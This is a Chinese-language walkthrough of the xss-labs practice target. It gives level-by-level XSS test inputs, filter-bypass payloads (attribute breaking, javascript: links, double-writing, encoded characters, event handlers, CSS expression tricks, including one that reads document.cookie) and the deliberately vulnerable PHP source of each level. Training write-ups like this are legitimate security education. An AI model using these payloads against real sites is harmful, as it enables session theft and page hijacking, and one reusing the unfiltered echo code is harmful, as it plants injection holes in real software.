XSS-labs
靶机项目地址:https://github.com/do0dl3/xss-labs
XSS测试流程
-
在目标上找输入点,比如查询接口、留言板
-
输入一组 “特殊字符(>,',"等)+唯一识别<>字符” ,点击提交后,查看返回源码,看后端返回的数据是否有处理
-
通过搜索定位到唯一字符,结合唯一字符前后语法确定是否可以构造执行js的条件(构造闭合)
-
提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞
level-1
简单测试
name可以存在注入,进行测试
#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr)ipt>
代码审计
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";//没有对$str进行过滤,直接将$str拼接页面中
?>
ini_set("display_errors", 0) //不显示错误报告
源代码将payload直接拼接,无过滤,存在反射型XSS(get)漏洞
将windows.alert
函数进行重写了,弹窗后,自动跳转level-2
level-2
简单测试
尝试payload,进行测试
#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr_ipt>
网页源码
#测试时,将标签中_删除
"<>'$&#<scri_pt>/\
网页源码
绕过分析
查看网页源码,发现h2标签被编码,猜测在服务器端用htmlspecialchars()函数
对keyword参数的值进行了处理,但是没有对标签进行编码,只需要将属性的引号和标签先闭合 就可以了
#测试时,将标签中_删除
"><scr_ipt>alert(11)</scr_ipt>//
" onclick="alert(1)"
代码审计
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">//没有对$str进行过滤,直接将$str拼接页面中
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
level-3
简单测试
尝试payload,进行测试
#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr_ipt>
网页源码
#测试时,将标签中_删除
"<>'$&#<scr_ipt>/\
网页源码
绕过分析
<>、&、被转义,单引号、/\未被被转义,所以使用单引号绕过
' onclick='alert(1)
代码审计
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'> //对$str进行html编码
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
level-4
简单测试
尝试payload,进行测试
#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr_ipt>
网页源码
#测试时,将标签中_删除
"<>'$&#<scr_ipt>/\
网页源码
绕过分析
发现对keyword的参数中<>替换为空,使用没有<>的payload进行绕过
" onclick="alert(1)"
代码审计
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
//将<>进行替换为空
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
level-5
简单测试
尝试payload,进行测试
#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr_ipt>
网页源码
#测试时,将标签中_删除
"><scr_ipt>alert('xss')</scr_ipt>//
网页源码
绕过分析
对on和<script进行替换为o_n和<scr_ipt,没有对script进行替换,闭合标签和属性,使用构造超链接payload
对on和<script进行替换为o_n和<scr_ipt
#测试时,将标签中_删除
"><a hr_ef='javascript:alert(1)'>
"><a hr_ef='javascript:alert(1)'>//
"><a hr_ef='javascript:alert(document.cookie)'>//
代码审计
<?php
ini_set("display_errors", 0);
//将字符串转成小写
$str = strtolower($_GET["keyword"]);
//对on和<script进行替换为o_n和<scr_ipt
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
level-6
简单测试
尝试payload,进行测试
#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr_ipt>
网页源码
#测试时,将标签中_删除
"><a hr_ef='javascript:alert(1)'>
网页源码
" onclick="alert(1)
网页源码
绕过分析
对href、on、,<script进行替换hr_ef、o_n、,<scr_ipt
-
大小写
-
重复写
-
编码绕过
#测试时,将标签中_删除
"><a Hr_ef='javascript:alert(1)'>
" Onclick="alert(1)
"><Scr_ipt>alert('xss')</scr_ipt>//
"><im_g Src=x one rror=alert('XSS');>//
代码审计
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
//对href、on、,<script、src、data进行替换hr_ef、o_n、,<scr_ipt、sr_c、da_ta
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
level-7
简单测试
尝试payload,进行测试
#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr_ipt>
网页源码
" Onclick="alert(1)
网页源码
绕过分析
将script和on大小写都替换为空,通过测试,发现对script和on只替换一次,
- 重复写
#测试时,将标签中_删除
"><scrscriptipt>alert('xss')</scrscriptipt>//
" oonnclick="alert(1)
"><im_g srsrcc=x oonnerror=alert('XSS');>//
代码审计
<?php
ini_set("display_errors", 0);
//转化成小写
$str =strtolower( $_GET["keyword"]);
//对href、on、,<script、src、data的大小写都替换空
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
level-8
简单测试
添加链接,尝试伪协议,进行测试
javascript:alert(1)
网页源码
JavaScript:alert("1")
网页源码
绕过分析
发现对进行大小写转化并替换<scr_ipt>、</scr_ipt>
对"进行html编码,无法双写绕过,尝试html编码绕过
javascript:alert(1)
javascript:alert(1)
代码审计
<?php
ini_set("display_errors", 0);
//转化成小写
$str = strtolower($_GET["keyword"]);
//对href、on、,script、src、data、"替换为hr_ef、o_n、scr_ipt、sr_c、da_ta、"
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
//把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
level-9
简单测试
添加链接,尝试伪协议,进行测试
javascript:alert(1)
网页源码
绕过分析
查看源代码
需要payload中存在http://,重新构造payload,编码注入
javascript:alert(1)//http://
javascript:alert(1)//http://
代码审计
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
//对href、on、,script、src、data、"替换为hr_ef、o_n、scr_ipt、sr_c、da_ta、"
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
//判断输入字符串是否存在http://
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
leve-10
简单测试
尝试payload,进行测试
#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr_ipt>
网页源码
绕过分析
发现对keyword参数进行html编码,存在隐藏的表单,尝试提交t_link、t_history、t_sort变量,t_sort变量返回在了html的value中,尝试进行了绕过
http://192.168.132.132/xss-labs-master/level10.php?keyword="text" onclick="alert(1)&t_link="text" onclick="alert(1)&t_history="text" onclick="alert(1)&t_sort="type="text" onclick="alert(1)
代码审计
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>//对$str进行html编码
<form id=search>
//type="hidden" 隐藏域在页面中对于用户是不可见
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
level-11
简单测试
尝试payload,进行测试
#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr_ipt>
网页源码
绕过分析
发现对keyword参数进行html编码,存在隐藏的表单,尝试提交t_link、t_history、t_sort变量、t_sort变量、t_ref变量返回在了html的value中,尝试进行了绕过
http://192.168.132.132/xss-labs-master/level11.php?keyword="text" onclick="alert(1)&t_link="text" onclick="alert(1)&t_history="text" onclick="alert(1)&t_sort="type="text" onclick="alert(1)t_ref="type="text" onclick="alert(1)
分析网页源码和请求头,发现Referer字段和网页源码名为t_ref的标签的value属性相同,存在XSS注入的可能
" type="text" onclick="alert(1)
" type="text" onm ouseover="alert(1)
代码审计
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
//接受REFERER字段
$str11=$_SERVER['HTTP_REFERER'];
//对REFERER字段进行<>过滤
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
level-12
简单测试
尝试payload,进行测试
#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr_ipt>
网页源码
请求头
绕过分析
通过分析网页源码和请求头,发现t_us的标签的value属性内容为系统版本浏览器的版本,可能存User-Agent字段的XSS注入
" type="text" onclick="alert(1)
" type="text" onm ouseover="alert(1)
代码审计
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
//接收USER_AGENT字段
$str11=$_SERVER['HTTP_USER_AGENT'];
//对USER_AGENT字段进行<>过滤
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
level-13
简单测试
尝试payload,进行测试
#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr_ipt>
网页源码
请求头
绕过分析
通过分析网页源码和请求头,发现t_cook的标签的value属性内容为请求头的cookie,可能存cookie字段的XSS注入
user=" type="text" onclick="alert(1)
user=" type="text" onm ouseover="alert(1)
代码审计
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
//接收cookie字段
$str11=$_COOKIE["user"];
//对cookie字段进行<>过滤
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
level-14
网页源码发现调用ifrname框架引用http://www.exifviewer.org/访问失败,无法进行测试
这关主要考察exif xss漏洞,具体可以参考前辈的文章:exif xss
level-15
简单 测试
http://192.168.132.132/xss-labs-master/level15.php?src=1.gif
根据返回的源代码判断,src存在注入点
绕过分析
构造poc,并未触发xss,ng-include属性一直未生效,原来是调用的js文件中有地址被墙了,需要源代码中修改js源文件路径 https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js
ng-include本地文件包含,调用本地有xss漏洞的文件,触发xss
ng-include本地文件包含,调用本地有xss漏洞的文件,触发xss
#测试时,将标签中_删除
'level1.php?name=<ima_ge src=x one rror=alert(1)>'
代码审计
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
//对$str进行html编码
//ng-include本地文件包含
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
level-16
简单 测试
尝试payload,进行测试
#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr_ipt>
网页源码
#测试时,将标签中_删除
'<>"<scr_ipt>\</scr_ipt>#$&
网页源码
绕过分析
测试注入,发现对script、/、空格进行替换
需要使用回车符%0a进行绕过
#测试时,将标签中_删除
<ima_ge%0asrc=x%0aonerror='alert(1)'>
<a%0atype="text"%0a"alert">
代码审计
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
//对script、 、/、 进行替换
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
level-17
http://192.168.132.132/xss-labs-master/level17.php?arg01=a&arg02=b
简单 测试
尝试payload,进行测试
#测试时,将标签中_删除
http://192.168.132.132/xss-labs-master/level17.php?arg01=a&arg02='<>"<scr_ipt></scr_ipt>/\
网页源码
绕过分析
对参数进行html编码,使用中src属性嵌入插件,其中src属性不需要闭合,使用空格隔开,使用onmouseover事件进行绕过
注:该关卡使用IE浏览器
http://192.168.132.132/xss-labs-master/level17.php?arg01=a&arg02= onm ouseover=alert(1)
http://192.168.132.132/xss-labs-master/level17.php?arg01=a&arg02= onm ouseout=alert`1`
代码审计
<?php
ini_set("display_errors", 0);
//使用<embed>中src属性嵌入插件
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
level-18
http://192.168.132.132/xss-labs-master/level17.php?arg01=a&arg02=b
简单 测试
尝试payload,进行测试
#测试时,将标签中_删除
http://192.168.132.132/xss-labs-master/level18.php?arg01=a&arg02='<>"<scr_ipt></scr_ipt>/\
网页源码
绕过分析
和level-18没有区别
注:该关卡使用IE浏览器
http://192.168.132.132/xss-labs-master/level18.php?arg01=a&arg02= onm ouseover=alert(1)
http://192.168.132.132/xss-labs-master/level18.php?arg01=a&arg02= onm ouseout=alert`1`
代码审计
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
level-19
参考大佬文章[xss-labs 第19关](https://blog.csdn.net/u014029795/article/details/103213877?ops_request_misc={"request_id"%3A"159547621119725219908275"%2C"scm"%3A"20140713.130102334.."}&request_id=159547621119725219908275&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_ecpm_v3~pc_rank_v4-2-103213877.first_rank_ecpm_v3_pc_rank_v4&utm_term=xss-labs 19&spm=1018.2118.3001.4187)
level-20
参考大佬文章[xss-labs 第20关](https://blog.csdn.net/u014029795/article/details/103217680?ops_request_misc={"request_id"%3A"159547621119725219908275"%2C"scm"%3A"20140713.130102334.."}&request_id=159547621119725219908275&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_ecpm_v3~pc_rank_v4-1-103217680.first_rank_ecpm_v3_pc_rank_v4&utm_term=xss-labs 19&spm=1018.2118.3001.4187)
总结
注:测试时,将标签中_删除
1.利用<>标记,构造<scr_ipt>标签可执行javascript的xss代码。
xss过滤函数需过滤<><scr_ipt></scr_ipt>等字符。
2.利用html标签属性支持javascript:伪协议(支持标签属性的有href、lowsrc、bgsound、background、value、action、dynsrc等),执行xss代码。
xss 过滤函数需过滤JavaScript等关键字。
3.利用javascript在引号中只用分号分隔单词或强制语句结束,用换行符忽略分号强制结束一个完整语句,而忽略回车、空格、tab等键,绕过对javascript的关键字的过滤。
4.利用html标签属性值支持ascii码,对标签属性值进行转码进行规则库的绕过。
xss 过滤函数需过滤&#\等字符。
5.利用事件处理函数,触发事件,执行xss代码。例如<im_g src='#' one rror=alert(/xss/)>,当浏览器响应页面时,找不到图片的地址,触发onerror事件。
6.利用css执行javascript代码
css代码中利用expression触发xss漏洞。如下所示:
<di_v style="width: expression(alert('xss'));>
<im_g src="#" style="xss:expression(alert(/xss/));">
<sty_le>body {background-image:expression(alert("xss"));}
<di_v style="list-style-image:url(javascript:alert('xss'))">
css代码中利用@import触发xss
<styt_le>
@import 'javascript:alert("XSS")';
css代码中使用@import和link方式导入外部含有xss代码的样式表文件
<lin_k rel="stytlesheet" href="http://www..com/a.css">
<styt_le type='text/css'>@import url(http://www..com/a.css);
xss过滤函数需过滤style标签、style属性、expression、javascript、import等关键字。
7.利用大小写混淆、使用单引号、不使用引号、使用/插入在img src中间、构造不同的全角字符、运用/** /混淆过滤规则来绕过过滤函数
8.利用字符编码。javascript支持unicode、escapes、十六进制、八进制等编码形式。
参考文章
https://www.cnblogs.com/xiaomeng2333/p/11595786.html